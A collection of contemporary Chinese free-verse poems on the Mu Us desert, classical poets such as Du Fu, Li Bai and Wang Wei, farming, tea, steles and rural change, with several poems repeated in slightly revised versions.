在毛乌素 在毛乌素 《在毛乌素》 兵刃由来于方向上的结合 又在回返时，因路途遥远 迟到了千年。 在毛乌素，或者在无定河 语言的惯性要更大一些。有关于 对一个失去名谓者的考察和研究 还在继续。始终没有结束 在毛乌素或在无定河 包括人在内的很多事物都很疲惫了 而就这沙漠所给予人的，它的原始 的荒凉，野蛮和游牧。 那纳凉的去处也都一一消失。 登玉皇山 登玉皇山 《登玉皇山》 我曾是铅球。爬到， 山顶欲丢下而感到惋惜 和痛苦的石头。日常生活里面， 为了解释或实际上苦闷于此。 这些意象我一定不止一次的 遇到过了。 黎明时沿着山路攀登，这些 旧有的顽疾或者新的历练。 它们再次展示自己，实则属于更大的面貌。 山的嶙峋，晨暮的阴暗 而一路上我气喘吁吁所生出的反驳和诘问， 短暂的停顿，休整。就像一个看起来 如此可笑的注解。 雷平阳。 雷平阳 《雷平阳》 持续的书写，为了应对一种衰竭 ———像他需要向人们展示的部分 因此。不免由虚空组成 无定河北 《无定河北》 我尝试像黄昏 下的一个队列一样。站立 使得溃败不至于太过难看 和寒酸。 我知道农夫打出的井， 其实一直都有一种疼痛。 队列的语言的和兵刃的缝隙 太大了。那打井之疼 便在一种静默的伤风悲秋中， 早已经存在。我甚至一度怀疑我是谁 在一个庸俗又肤浅的问题里面 闭上眼，伸出手。仿佛 历史起伏的脉搏就清晰可见。 ————此刻，我只看见无定河两岸 绿色是农耕民族的丰功伟绩 是语言建立在一场溃败之上的 修正和篡改。我甚至看见了 云南的高并不是真的高， 高原之雪的白也绝非真正的白。 我看见我如一个必然要死亡的列兵 在附属于农耕的那个队列里面 停下了脚步。 等不来一个云南诗人了， 隔着血肉，骨骼对骨骼的敲击 早已被认定为普遍和平常。 给一个死去的波兰人写信 《给一个死去的波兰人写信》 面前，站着的这个人 这个农夫。 是半人半妖，半真半假 甚至半黑半白的直系子嗣。 他在雨水珍贵， 干旱少雨的黄土高坡上面。 拥有一片果园。 ——“游牧民族不善于写写画画” 甚至在春风掀开来的大面积种植之前 他就动身剪去了 枝条上那些对于季节更替总是守时的 反叛。 我猜测，他的身份还要比他示之以人 的还要深还要隐秘。 比如他与黄河水之间固定又规律的 往返路线， 为恭出一片虚无。就好像 确有什么东西在虚无之中存在着一样。 在他的家中，甚至酒最为的醇香 客在畅饮朵颐之际，便落得了不可久留。 谁又能久留呢， 为了这种无端的猜疑 所付出代价和勘察的荒谬。一开始 就在天平的上面失去平衡，倒向了 语言彼此碰撞的另一端。 ————但我的情况要更麻烦，特殊一些。 因这个人物其实他只是我杜撰的 果园并不存在。河流并不存在 甚至美酒的醇美只能带着欺骗的芳香， 纷纷归于了虚假。只有一片虚无 在不真的黄河，土地之间，连接着 另外一片虚无。 我相信虚无为大，万法皆空 反抗于虚假而使其真者，又怎会有人 从我的想象和杜撰里面 脱身而出呢。我看见有人走在一片白茫茫之中 衣着破旧，像个果农。嘴里念叨着 “游牧民族不善于写写画画”。 第111章 《1111》 肉类价格上涨，邻人 已经不舍得再把他那几只鸭子 往江面上赶。 一种丢失越来越多的，更大于 一种古已有之的虚空。 调转了船头，你在白茫茫的江面上说它 你用春江水暖鸭先知来 敲击和临摹的后果， 是不自知的。这些组成一首诗歌，一支 谚语中更为隐秘和琐碎的部分 今它具体的情形，时常以永恒性的发生而 持存着。 我们都已经厌倦了文字的复述， 哪怕与最为简单的一，或者某种退缩与施予 岸上都能找到它们的现实对象。厌倦者 没准只是我。对于羞涩偏又顾及颜面 杜甫 杜甫 《杜甫》 请我吃饭，请我吃酒 杯筹交错间夜才能并非迷乱的。处在 最为极端也才最为安全之间。 请我言说的情形， 发生在我离开之后。 于是我每天都在搜寻。传统或乡音里面 是否不属于我的，正与我所遗落 错综般的结合在一起。 我对时代的悲观，便夜夜冷水相对 恍觉群星便有了一个 瑟瑟发抖，孤独蜷缩的理由。 但时代却从未厌倦于我的肤浅，无知 和消沉。 在登上一辆车或以覆水难收来 作为下车的迅捷凭证那里。 时时刻刻我都会把拥有，积攒 与消耗和虚度混为一谈。我甚至为一种 细小而阴暗的心理铭刻了 时间上有形的刻度。在菩萨混同于奶奶 因笃信基督会再临 便不允许焚香的暗室之中，用贫乏的文字 为它， 每日的行程作着祈祷和纠正。 一团烟火也会有它，在众多 错误之外正确的位置。它的同义词是 因年久衰弱。那铁制的外壳与燃油心脏 便不得不低下头，走进了南部山区的某家 褐色修理厂 ————但它同时也带走了一种远。 这是最不应该的。我一直偏执的认为 人无论高低贵贱都有一颗普世的心。 冷雨夜的杜甫始终无法明证于自身， 安得广厦千万间的错误。 这一桩桩历史的悬疑案件，随后被取巧一般的 装进了诗歌里，交付给了后人。 所以朗读就是试图解开而沉默却变得玄之又玄。 一时之间，我无法确信 这片天空是杜甫的草堂之夜，还是 老子的天河流水之夜。 我摸了摸自己的良心。在文字的 对于某种被遗忘事物的反驳之前。替代 摸了摸胸膛与腹部的现代性话语。 清晨。 《清晨》 我相信事物有骨， 有肉 皮囊则藏在了人类的语言中。 相信， 人难免会有出神和失语的时候。 在清晨我无法确认。那意味着 一场抓捕已经结束 还是对于一天的漫长来说时，。从人类 语言之中分离而出的 某种肇事倾向 因此才刚刚的作为了开始。 农耕 《农耕》 人苦难的时候， 土地就不苦难。 碑。。。 《碑》 刻在石头上的字。 仅仅只是它从设想，尝试 再到实施过程中会多次失败，很小的一部分。 甚至，准确而言碑文也只是中途 对一个追求极致又渴望隐秘的书写者而言 书写时被自我反馈为的偶然和残缺 便以如此略带庄重的方式弃之不顾了。树荫浓密， 遮挡阳光以形成 环境和碑文的静谧性。越来越融洽 来自石碑的斑驳与树根的盘根错节。 而碑文阅读的困难早已被时代分出了 许许多多不同的路径。 有歧路， 一个失去丈夫的妻子自绝。池塘里做了女鬼 或浓密中也曾有一个最终走投无路的山贼 心一横，就窝在草丛间 以肉身化作养料的承诺，枯树林中一躲就是千年。 无论如何都是死路一条。让我们这些研究 和端详碑文的人们 变得健忘，失语。甚至最为危险的事情 事实上我们也都是一条死路上面的归还者 和幸存者。 人数众多。连我也无法理解这所代表和 隐含的含义。 登上了山顶，环顾了下四周 鸟鸣之中依然没什么特别。除了幽静还是幽静。 我不知道另一个临碑者在哪里， 又是否早已给出 对于拯救新的不同的解决办法。 只想停下脚步 我也无心看这些斑驳事物的，只是在石碑下面小坐了一会。 碑。。 碑 《碑》 刻在石头上的字。 仅仅只是它从设想，尝试 再到实施过程中会多次失败，很小的一部分。 甚至，准确而言碑文也只是中途 对一个追求极致又渴望隐秘的书写者而言 书写时被自我反馈为的偶然和残缺 便以如此略带庄重的方式弃之不顾了。树荫浓密， 遮挡阳光以形成 环境和碑文的静谧性。越来越融洽 来自石碑的斑驳与树根的盘根错节。 而碑文阅读的困难早已被时代分出了 许许多多不同的路径。 有歧路， 一个失去丈夫的妻子自绝。池塘里做了女鬼 或浓密中也曾有一个最终走投无路的山贼 心一横，就窝在草丛间 以肉身化作养料的承诺，枯树林中一躲就是千年。 无论如何都是死路一条。让我们这些研究 和端详碑文的人们 变得健忘，失语。甚至最为危险的事情 事实上我们也都是一条死路上面的归还者 和幸存者。 人数众多。连我也无法理解这所代表和 隐含的含义。 登上了山顶，环顾了下四周 鸟鸣之中依然没什么特别。除了幽静还是幽静。 我不知道另一个临碑者在哪里， 又是否早已给出 对于拯救新的不同的解决办法。 停下脚步 我也无心看这些斑驳事物的，只是在石碑下小坐了一会。 春风咒 《春风咒》 苦思冥想是。因为 这里没有诗 石碑面前不可能会出于 想象。 而总在朝暮或傍晚升腾起了 朦胧的雾气。更为形象和准确的比喻 人插手或干脆人的手 伸出，是那团雾气它如此在碑面团结的意思。 一种紧随时代的新的书写， 和书写方式。 又因为此，才好在人们的解读里面 依然保持着它的某种神秘性。 春风咒二 春风咒二 《春风咒二》 草木一春。可又有多少草木 有过一个完整的生命历程。 至少。人随口而出的语言 从耕作的一次次观察作为开始， 到书写给它们提供了 枯萎后精神和灵魂的 去处。 ————在我看来，如此脆弱的生灵 并没有被腰斩。 大多数都在山坡幸存了下来。 当我站在入冬的山坡，是否 我随口说出每一句话，每一次肤浅的叹息 都具有一种拯救性？ 就像一个救世主我来到了，这片无名的山坡 暂时忘记了到来的原因是出于孤独和落寞。 春风咒三 春风咒三 《春风咒三》 没有什么事物， 在它身上什么事情也没有发生过。仿佛就是为了 抵抗于，人的语言拯救性之中 某种纯然的白色。 小草，树木或野花。在诞生之前， 它们的命运便为我们所获知了。 春风咒四 春风咒四 《春风咒四》 枯寂会使得。任何的查证 和信心满满的明天 都沦为空谈。语言上那根 纤细的弦。僧侣有时抬头 会看见头顶只剩一道狭窄洞天 他与我们依然有着，某些共同的部分 安坐黑暗之中 为拒绝一种挽留，向尘世一般那处 所不断递送着，某种妄加揣测时 李白的剑 李白 《李白》 李白所有的诗歌，都不过是在说 他么的，劳资的剑呢 春风咒五 《春风咒五》 常常失败的族群，族徽是 树的年轮斩开于雷击 又不为着一场大火。 如此形象的比喻也可以用来， 比喻。新一天和新的一天里面 去河边取水。 少女背着竹筐和木桶 面容拒绝着，又把我们 作为异乡来客的身份一次次确认。但 有一种连接。 像树影婆娑间木制必然会与语言有一种碰撞， 一种反复试错和敲击月下门的 新的浪漫是僧侣决意返回红尘。河流 终迟缓下来变作一面镜子时 我们又取其少，只看清她的容颜就好了。 春风咒六 《春风咒六》 少数族群与失败挂钩， 月中纯然没有的白。 又在树的庇佑和保护中， 小心延伸着自己的历史。 有时，我确定认为花中有一种 恍惚，有一种愤懑。 当人儿手提木桶，去河边浣洗。 那形象是， 为走来所做的所有铺垫 由衣裳，木桶。天梯般直向 可被攀登的月亮———异族人文史。 之后，有事物碎裂 哗哗流水且以示之。 江油 《江油》 地处Sc省东北部的江油， 一直有着与它的临近省份，陕西 一样。掌握气候变化节奏和温湿度 来种植，土地上展开的传统。 夜因此不是纯然寂寞的， 或者寂寞比它自身更加寂寞于夜晚 细碎声响里面，便常常有一种 出于地理位置和气候而来，塑造的 施予和馈赠。但这也是历史的意思 历史俯卧在群山上，需要花费很长时间 才能适应这些起起伏伏的齿轮。人 偶尔也喜欢递送出一次次的戳破和耕作。所以， 写信的人总爱提到一场 及时雨。接着又试图与同省的兄弟城市牵连 盼望雨水行在雨水中，出于一种同样子的慵懒 向别人展示了土地上的开花和嫩绿， 一切就不言自明，不需要再多说什么。 但如今那个游子已不在锦官城了。观池塘里 鱼厌弃了清贫，越过线又试图 以丰盈的身姿撞破人的语言时。骑上马 他就走了。 但他不是李白。 家里没有太多钱，唯一与这个诗仙有些相似的地方 是这条通往古代的千年之路 他花了好久。你能在李白的赠汪伦那里， 或在黄鹤楼送孟浩然之广陵那里 细读之时，发现有个影影绰绰的身影。 发现沉默里，一个同样快意恩仇 又有些悲观的持剑之人。 经过李白的默许 同乡的书信，在试图把一种铁制的，因诗人再没有回乡而 见物如见人的 归于还乡中。籍籍无名的他依然保持了一种倔强 未曾把那视作一种让予。 内江 《内江》 地自偏，困难的 便是寻找 这里的语言甚至更为的夸张 和猖獗。 一棵树会分裂成两棵树， 一条河流会在自身体内 练习着。发生， 阻断和拦截。诗人，游子和难民 于是走的比官兵和商贾 要更远些。 他们看到了那条，由文字淤积 组成的汉语言界限。源自于 过多的追击，观望又放弃后的 折返。 在亲王幽深的宫殿之内，一道密诏 便落了下来。一座巨大的城池诞生。 又更倾向于它自己 身不由己的坚固和僵硬 ————这是在内江， 如今，一切都在失去。 春风咒七 《春风咒七》 除了杀生，杀生的边界很宽。 把一切和自然而然放在一起，一切 是个虚幻之词。人不以为意。 不会引起人在意的是青草怀抱着，它自己的脆弱。 ————语言之中的怜悯，又如此繁多的提到了它。 春风咒八 《春风咒八》 邻居家被打碎的玻璃，不用追究 也不用赔偿了。 仿佛这个邻居他第一次的 走进阳光里？并把阳光里面 有你有我的事实搅碎。 一个愤懑的莽夫太过长久的承担了 不属于他的责任。喧哗和寂静之间转换 返乡后又在建筑起来的房屋之中 再无法脱身。 搅碎，绝非布道者。或某个突发事件 会猖獗到无法被平息。 来到镇子上时，你能听到人们的谈论 和窃窃私语。价格波动的上下起伏 也周期性如一场劫后余生 作为一个农民，我可以明证 村庄消亡的难度有多大。 所以，干脆是城市化的无法避免。一层语言 倒不如直接覆盖在另一层之上 莽夫以为春天要来了，那个他无暇顾及 或者直接被他无视了的 窗头玻璃破碎的声音。除了能取出些 他是第一批拆迁户之外 其他的也只以余波的方式。抬高了一个过客， 欲买一捆大葱时蔬菜忽然上涨的价格。 春风咒九 《春风咒九》 在一个地方停顿一个世纪， 你就会变得来历不明。 你甚至需要更加的静默，才好使得 这依然在持续的变化 身体和心灵，不会从你自己那里走脱。 所以，当你不再甘心于静止。你并非 重新的落入红尘 花期未到，冬天的凌冽也不过如此。 追逐者应求助于语言。当一个 转念一想发生，一切便早已是了 一种后果和结果。 一种你尝试着用，突觉自己尚在人间 尘世。所努力自我挽留的形容也并不准确。 倒茶 《倒茶》 一定要在中途停顿， 接着以满来应对于，为何 不把茶杯倒满的疑问。 在我饮茶的舌头和舌苔上面 有着语言被说出 最初的情形。我担心 那个被我杜撰出的问题发问者 有可能会心生不满，接着心一横 落入洪池。 人的身上一直有着一种莫须有， 一种虚无如同，人都权利 行使自己可走进一片虚空的自由。 倒茶水中途所馈赠于我的哲理， 它甚至也因此而有着，别的 什么含义。飞流直下三千尺，以小观大 人为了一场美丽所付出的自我矮化 其实，并不需要走出去很远。 而对于自我迷途者的醍醐灌顶， 刹那间我身份再次的变幻。宛如 施予中的某位菩萨。 现身，令发问者的愤懑，消失于有所得。 龙井 《龙井》 前半生，我一直饮用 是它往前递送，为纠正某种 错误而掺假的部分。 有很多次了，我想，不只是我 像一个中国的农民，农耕群体 也可以被揭露。 由这些碎叶跟香气的结合， 我拼凑过它完整的形象。又有多少人呢 使得它作为一片叶子。朝向这，或者 心有不忍。便在呼唤和一声声恳切里面 转向了另一边。 坐落于西湖群山间的西湖龙井， 繁茂之上于是，便覆盖着另一种，另外一层 形色恍惚的繁茂。 但我不是评判者，也绝非一个 因对于仿制和临摹之中也有罪责的麻木。而 厚无颜耻的定断员。龙井村的街道宽阔 屋舍整洁，一辆辆汽车排列井然有序。 富态的脚步遵从于某种艰深的奥义， 在有人会突兀的喊出了，不过如此 和喧宾早已夺主之时。 再也难耐，村民们欲在胳膊上面渲染上 用于呵止的臂章。 龙井。 龙井 《龙井》 前半生，我一直饮用的 是它往前递送，为纠正某种 错误而掺假的部分。 有很多次了，我想，不只是我 像一个中国的农民，农耕群体 也可以被揭露。 由这些碎叶跟香气的结合， 我拼凑过它完整的形象。又有多少人呢 使得它作为一片叶子。朝向这，或者 心有不忍。便在呼唤和一声声恳切里面 转向了另一边。坐落于西湖群山间的西湖龙井， 繁茂之上于是，便覆盖着另一种，另外一层 形色恍惚的繁茂。 但我不是评判者，也绝非一个 因对于仿制和临摹之中也有罪责道德麻木，而 厚无颜耻的围观者。龙井村的街道宽阔 屋舍整洁。汽车一辆辆排列。 遵从于某种艰深的奥义的富态脚步，有着茶之舞。 它的停止，或者它的高潮 在有人会突兀喊出，不过如此 和喧宾早已夺主之时。 村民们便在胳膊的渲染上面，露出一片 用于呵止的臂章。 西湖 《西湖》 有人， 正醒来。用西湖这一支眼睛 摩托车手 《摩托车手》 一个苹果切成， 一个人总是每天按时回家 摩托车声响起又 在进门后熄灭的那一部分。 而另一半，是我，书写。 我一直致力于应对这种 摩托车声突然熄灭 而凸显了的简洁。 施予我的很少 其实。我拒绝那种，他就是我 他与我，在静待的话语里面 我会触摸到冰冷铁器的关系。 摩托车手3 摩托车手 《摩托车手》 一个苹果切成， 一个人总是每天按时回家 摩托车声响起又 在进门后熄灭的那一部分。 而另一半，是我，书写。 书写获知， 书写追赶的那一部分 曾一次次的被抛掷。 空空而温暖的室内有时就是 最好以这样一种方式来 表达他就是我。我来到了室内 一个苹果早已被切开 我在等待自己的到来那里 书写着。 冬，，， 《冬》 我行动缓慢，我被一种 慢所追赶。 追兵早已达到却迟迟未下手 不发一言。如果它要取的 是我难耐寂寞的良心。 一封古代寄给四川的家书 《一封古代寄给四川的家书》 干脆一封信的内容是刀，才需要密封和合上。 干脆风霜在寒冷的季节里面， 有了新的理由。 结冰需要破开，一路上向着 红烛的位置加快了再加快。 我们都知道为了应对那种打开来的 双重性， 而传统的形成就源自于室内 打开又关闭的有所封闭。 幸好出于每个人都要有所归途的原因 声音的震颤还保留着。 你打开，那文字事先提醒了的 一路就从地理位置，陕西 果木种植再到 驱赶你这个，一辈子操心，劳碌的人儿 试图从不合时宜的凌冽里面 探望一番土地之时。 王维 《王维》 在今天早上和今天黎明 发生了很多的事情。 有鸟儿在山中鸣叫，有大雾 从山中撤离。 有人模仿王维，把最后一点经卷 放在山谷却发现 山中秋溟如大梦一场，不过如此。 清晨醒来我就听到一切都变作了王维。 王维，王维，王维。。。 像由鸟儿发出，流水发出，或某个村民 也在适应着他说话新的口吻。 王维是谁？ 我最初的只想遁入山中，去听听 这些曾被错过和遗漏的心思 又是否会被打断呢。 登山。 《登山》 退回到山里，就可得见 朦胧的雾气会被揭露。于是 那雾气没有停下脚步。相比于坦白 它更倾向于掩埋后， 继续保持着自己无辜的本意。时值山中入冬 万物凋零。 旧的语序，源自睹目思情的，也早早是了个 时过境迁。 我不能相信，仅仅凭这些孱弱之躯。 向一阵北风投降的旗帜， 物是人非的消散里面又能被赋予什么 新的含义呢。我不是一个人来的，也并非 孤独难免以拟人而反衬 天地之宽中多有欲登高望远之意。 如一支溃败队列移动缓慢的步伐，。未曾想过 当凭借最后一丝气力 准备把那掩埋更往画图的深处， 制造出凌乱，苍白和毫无章法的风景时。 我想即便是王维，他呼唤而出的时机也 在此刻。也 不在于一种拯救或置若罔闻旁观者的， 空山不见人吧。 春风咒十 《春风咒十》 花团锦簇， 离它最近的是叶子。再之后是 海。 但空气中被夺去的，已有他人来做了。 顶多它能听见 属于遗落或多少带着人为的声音，企图在自己体内 开一间终会关闭的屋舍， 再造一座密室。甚至更多的空幻 会让始作俑者最终坠入了繁星和漫山遍野的 青草 ————他就是这样子消失不见的。 错以为之前一直生活在了虚假里，并视 醉后不知天在水为了自己的人生信条。 为枯萎的叶子增添 不属于它，缘何枯萎的原因又是否合适呢。 花朵迟缓，如今才明白了 雨水充沛时曾有人一次次敲门 有时也在月下晾晒，晾干了自己 也还是，一直在敲着一种 最为的浓郁。 登山。。。 登山 《登山》 欲退往山中时的停顿，片刻 可揭露雾气朦胧。 于是， 那雾气不曾停步。相比坦白 它更倾向于掩埋后， 继续保持着自己无辜的本意。 时值山中入冬，万物凋零 旧的语序，源自睹目思情的，也早早是了个 时过境迁。 我不能相信，仅仅凭这些孱弱之躯。 向一阵北风投降的旗帜， 物是人非的消散里面又能被赋予什么 新的含义呢。我不是一个人来的，也并非 孤独难免以拟人而反衬 天地之宽中多有欲登高望远之意。 如一支溃败队列移动缓慢的步伐，。未曾想过 当凭借最后一丝气力 准备把那掩埋更往画图的深处， 制造出凌乱，苍白和毫无章法的风景时。 我想即便是王维，他呼唤而出的时机也 在此刻。也 不在于一种拯救或置若罔闻旁观者的， 空山不见人吧。 佛像 《佛像》 在中原的腹地谈论你， 谈论你，是谈论你已经很多年了 石头，。， 《石头》 石头见过了 我们祈求雨水，祈求丰收 祈求平安与财富。 见过自己被炸药从山体上炸了下来 一车车搬运，一块块 清洗和切割。 整齐铺就在地面上的叫作大理石。那是在庙宇 铺砖工人即使从农民的身份 走脱，努力的在工作之中带有一丝 虔诚。金钱的置换之外还有另一种置换 石头看到人们从它的身上走来走去 停顿，双手合十。 这道平放在大地上的门，它已把来自 地底的阴暗和潮湿一次次的阻拦。 祈祷 祈祷 《祈祷》 为什么不伸出双脚， 往地面用力的跺两下。大地如鼓 为什么双手合十而不是， 静下来倾听。大地 会传来的回声。 我们只有一颗心， 一颗心的虔诚会是源自于 一颗心的撕裂那里么。 红。。 《红》 一片红，在自己之中 看什么都是红的。 看桃花是红的，酡红 看茉莉是红的，浅红。 山也红，开满了各种野花， 需要解释的，山也红 是颜色而不是花的名字。 那时， 在自己体内红推开窗走了出去。它看到 太阳也是红的。并不是在自己体内发生的观望 让它怀疑 光芒仍陷于一种红的迷醉，红的热烈中。 而天空太远了。 太阳无力反驳于那种，初升之前的 深夜里。有一次转变，丢下了橙黄绿，青蓝紫 的奇异猜测 ————红在红之中原来也有一种想象。 红， 红 《红》 一片红，在自己之中 看什么都是红的。 看桃花是红的，酡红 看茉莉是红的，浅红。 山也红，开满了各种野花， 需要解释的，山也红 是颜色而不是花的名字。 那时， 在自己体内红推开窗走了出去。它看到 太阳也是红的。并不是在自己体内所发生的观望 让它怀疑 光芒仍陷于一种红的迷醉，红的热烈。 而天空太远了。 太阳无力反驳于那种，初升之前 深夜里。有一次转变，丢下了橙黄绿，青蓝紫 的奇异猜测 ————红在红之中原来也还有一种想象。 手掌。。 手掌 《手掌》 在拒绝中才有了更深的奥义。因拒绝 被视作一种艰深，而伸出了手掌。 尘世是佛陀在走向一种平常，而人 所追求的艰深。是对此并没有丝毫的察觉 我相信 《我相信》 我相信逝去的人，最后 都回归了故里。 相信人最后的心愿，是寄出一封 家书。 走过万家灯火，灯下 我相信有许许多多，正打开来信封 一遍遍默读的人儿。 满头白发，满脸皱纹 像我就是那个邮递员。 我相信有一种运动，正推动着 夜晚的风和天上的群星。 杏花村，。， 《杏花村》 世界会融入世界， 那么雨会融入雨 而形成雨。 ／ 于是你的赶来是可疑的， 即使匆匆本身的 添加和使用。出自思念与牵挂 ／ 出自你正是我时 让那探窗的手儿更加的遥远。 成为人 《成为人》 成为人， 劳作，砍伐，开垦和浇灌。 成为人。站在人的对立面， 我成为了人。 群山 《群山》 显然， 群山所带来的沉默。 比流水要大一些 你的时间早已已被安排的满满当当。 溪水留过，里面 有一些声响。 荒芜之地 《荒芜之地》 作为一个词语，一种归途般 言说的沉默 并不单一。面对那词语表面 衔接于尘世之中， 人的悲伤又幽暗心理。 面对那种光泽。就仿佛， 我们依然会在一次 赠予般的递送里面。 被给定了命运。于是， 你或者我愈加的沉默。 遵从于臣服之姿，好来组成了 在沉默之中他人的语言。 等，， 《等》 我愿意等的， 在等中继续的等， 便等了下去。 书写， 《书写》 除了一种愤懑，诗歌一定是白的。 阅读者坚守一份阅读涂抹的本质。 让信笺般一种递送，如果如今已是愈加浓郁的黑 正向着起初诗人的书写，覆盖又一层时 浇灌 《浇灌》 筑楼中空的管道，落下了 它并非闲暇时分 向上而非向下的本质。 人群一时大乱，时间 被囚禁在了浇筑 更为狭小的具体中。 时间的流向如此坦然的解释了自己，就像 它的上面覆盖了一层语言，又偏向于 解救后无果的沉默。 雪夜 雪夜 《雪夜》 乡村行医者重新的 落入了风雪。 从他的脚步，气息，背上药箱的重量 可判断。欲坐空山更久之人 是否的的确确肺部郁结，而他徒劳的反抗 又在室内制造出了更为沉闷的回响和沉淀呢。 面对每每只能诉诸于语言上面的不甘和暴力倾向， 我真怕雪不是真正的，绝对的白。 怕一种检验者出于怜悯的良心 便自告奋勇在雪地上，留出了长长足迹。 并非接连进行着一次次诊断，仿佛村庄 正处于某个肇事时期的迷乱和频发。 手如莲花， 当时那室内患者的病症，已行至了中途。 荒废 《废弃》 倒不如用一场更大的荒废 来覆盖住另一场荒废。 是要看看， 它定居者曾长年累月的野心，是如何 对草木虫鱼开始了转变。 开始厌弃一种耕作后，入夜的梦呓里面 青草总爬满了嘴唇。 也看看一座院落它独自荒废的 决心到底有多大。 行程很远，要去的地方 用锄头，铁锨都不能掘出一丝。 空山不见人，倒不如寻一个正当的理由。比如 来者是客。 这些打包行李和清理家具的活动 就如此匆忙的，向山川土地 敲击着试图打开，每扇售卖以物易物的窗户。 在土地上我甚至都未曾真正的移动分毫， 城镇化，城市化，现代化 在我的故乡同样也发生了。 我走的更远更无力，比那个 从农村去往县城，接着余生聚集全部的力量 试图在纵身一跃里面 让整个家庭，从县城去往省城的里面的远 还要远上一些。 心里装着语言的浮萍和生命的愁苦 装着一盏， 渴望在异乡的某个村庄和山川里面 可以打开并点亮的灯盏。 我来到的时候，在Ah省中南部地区 房屋和村庄已经人去楼空了。答案碎了一地 无人拼凑。无人 我也掐灭，试图以我，这个更为的远来覆盖 一座院落空空的念头。 泥瓦匠 《瓦工》 建筑房屋中含有一种破坏性。 含有抢救者的身份， 从梧桐，院落，穿过门厅 直到一个泥瓦工正准备劳作的身份。 也可以说情形的复杂，在于 我们以破旧而落满了灰尘的衣服 所求绝非只是在建筑一点点成形那里 置换了金钱。哗哗的数钱声明证一般。 绝非，泥瓦匠如此无人知晓 而借此才又身兼了种种巧合的命运。 比如，他无力反驳于对金钱一生的执念 又有时在别人看来，爱走极端。往夜色里面 撕开来一个缺口，拜鬼。 那么，如今建筑的情形淹没了的 何止一个人，两三个人，反驳中一个群体向 某一个人的包裹与围拢呢。 难不成所谓以建筑而破坏的见解。这城里 时髦的提法和说辞它如此的面对了。某种 自身淹没于自身的野蛮不成 他每一次都是在走极端，在我看来，走一种 在最为微末，最为边角处。守着离开又回到只属于他的 一砖一瓦。以建筑而破坏。这个以石修定了自己注定为农民的泥瓦匠 他砸下了那些我无从知晓的隐秘，又在 房子建成之后，体验着那些不再属于他的怅然和坦然。 芹菜 《芹菜》 我关怀的边界，直到 亲戚之中的某一个 发现阳台上的花朵是塑料的。 这些行走以前其实一直有着洪水之姿， 我也多次的在白天和夜里，一次次揣测自己的心意。 像防波堤一般的良善，但我想良善它足够的大度。 容忍转换，我当时也欲往深里更为 决绝的要把自身的孱弱掩埋。 运河两岸 《运河两岸》 顺着河流， 要写写两边的谷物。 写高粱如今只剩下根茎，扎在土里 向下的一种抓牢已经被明证 是失败的。 写因此沉甸甸，甚至多少 带着暗喻的收割。灰尘落在身上 混同于汗水流淌。 再等等，舟就停在此处吧。不移也不动了。 也让它们写写你，这个异乡游子 正被一片隐形笼罩全身时 雪花 《雪花》 我能给来者什么呢 中途。比不上不下更大的问题 我觉得以自我问询又接着自我回答所得出的 只好遗憾于如今虽天气凌冽 但一场大雪却依然没有让我， 仅攫取一手掌并捏成雪球的愿望成真。 是了，最好以雪的白色来应对， 在尘世的尘世之中才有着，那些遁世者 宁静致远的一席之地。 接着我听到在雪花之中有一种不断脱落的声响 衣服，罪责，欲望，乃至于粮食。 在雪花未曾到达之前，雪的驶离，未曾覆盖 是雪白色的更进一步。 诗歌，，， 《诗歌》 书写在纸上的诗歌， 提供了杀死一个灵魂的可能性。 入夜2 《入夜》 入夜，石头远离。 石头远离的原因是 入夜具体发生在了哪一个时间里？ 石头沉默，领受比梦想生出了手掌，四肢 行走上有着更大的待解之谜。 六点四十五分十五秒，我看到了一颗 准备远离的石头。 逃脱向它自己，成为入夜的标志那里 入夜3 《入夜3》 我推开了门， 但我总觉得在开门之前， 我已在心中推开了另一道门。 像一种遗失或某种落寞 推开屋门， 夜的虚幻里面，去寻找。 信笺 信笺 《信笺》 夜晚比白天更加的小心， 书写和折叠时却变作了多情。 夜晚你比白天走的更远，想的更多 却变作了沉沉入眠， 即使不在我的身边。 星空 《星空》 语言， 布施不能为干旱的土地带来雨水。 良心的土地不能， 日夜都在轮转的星空下。 良心的土地并不能 从它自我被赋予的命名那， 有一种命运。它并不盼望 我只要自己往前走几步。就会踩在自己会感到痛苦的胸膛上。 书店 《书店》 我以为声音啊，回声啊 即使独自一人走在坑洞 诗人也绝不孤独。 孤独只是望去时，等待时分里 落在了草叶上，流水上，乃至试图对枯竭心生怜悯 而阻止时的读者的声音。 是要让读者进来，要让 我进来。 诗人他多么的厌弃于尘世啊， 从一次次书籍的定价，星空的定价，孤独的 定价，良心的定价中 他不能免俗，他是 最为庸俗或者正从庸俗之中试图走脱的那一个 叙事 《叙事》 叙事是最为迟缓 决意停下脚步，转身往过去灾难和痛苦里面的 一团火。 如果火焰的燃烧更迟滞了一些 它不为那个对于它如此烈烈和上下跳跃的观点。 往那里通向的总是人的肉体，一个人的肉体 那么脆弱却总爱站在那里。 我也听到了因将会被炙烤而发出的声响，我也认同 所有的暗示和比喻，应当是雨水和浇灭的带来。 决意停下脚步的人儿，即使受困于时间的 单向线 也不会实现他的意图。 我。 《我》 我该走了，即使根本没有来过，语言 它那么的轻。 饮食中这最为明显我总是 坠落向了饮食之重。 不是粮食，粮食分类中生长在，镶嵌在，万花筒上的 谷粒，玉米，高粱 和我。 我想我是在那里遇见了我对自己的告别、问题的提出。 我留下了一层皮囊，如今我确确实实一直带着的 是另一层皮囊。 很轻，风一吹就陷于不定， 冬天我躲在北风吹不进的房子里， 等春天一来，南风起 南方的喻意， 我就可以解释了。 土地，， 土地 《土地》 如果我们怜悯的顶多是人 那我知道我们脚下所踩 土地是什么了。用疑问压住疑问，这是我们 必备的工作之一。 甚至这会占据我们更大的部分，有更大的 企图，试图伸向我们幼小的童年。 我们当然是无辜的，陈词也如此的相似和雷同。 谁又能说，清脆的，哇哇的啼哭声有罪呢 罪又是什么，与血一并到来，在我脐带的另一端 曾连着大地。 我甚至时至今日都一次次向别人或者 分明正是语言它自己 不允许那人群中持久回荡的声音停歇。 我建议用一把锋利的剪子，用消过毒的刀具 或早已经磨的光亮的农具。 一路农妇从室外进入了室内，一路与我毫无牵连的人儿 如今成了我临面， 击破上一个画面而来我的妻子。我的孩子在我之中诞生的 是否这应当是最后的陈词 好吧，对的，就这样了。我已经无话可说 其他的交给大地。 大地上，丛生的道德感。 我见过的，只是农妇的哭声，便心生了罪恶，明判是非，欲追究坏人的责任 我停步，这是道德诞生的场所，每个人都诉求于道德的陈列馆。 向下的人儿遇见了幼年时期的我们 道德形象表现了自己， 就是我们无法从如此形象的具体之中走脱。 沉默的人儿是否就走的更远， 土地，万物的土地尽头， 是否他正看着， 自始至终都只一种，用来建造，拒绝和补救式破坏的声音呢 女人 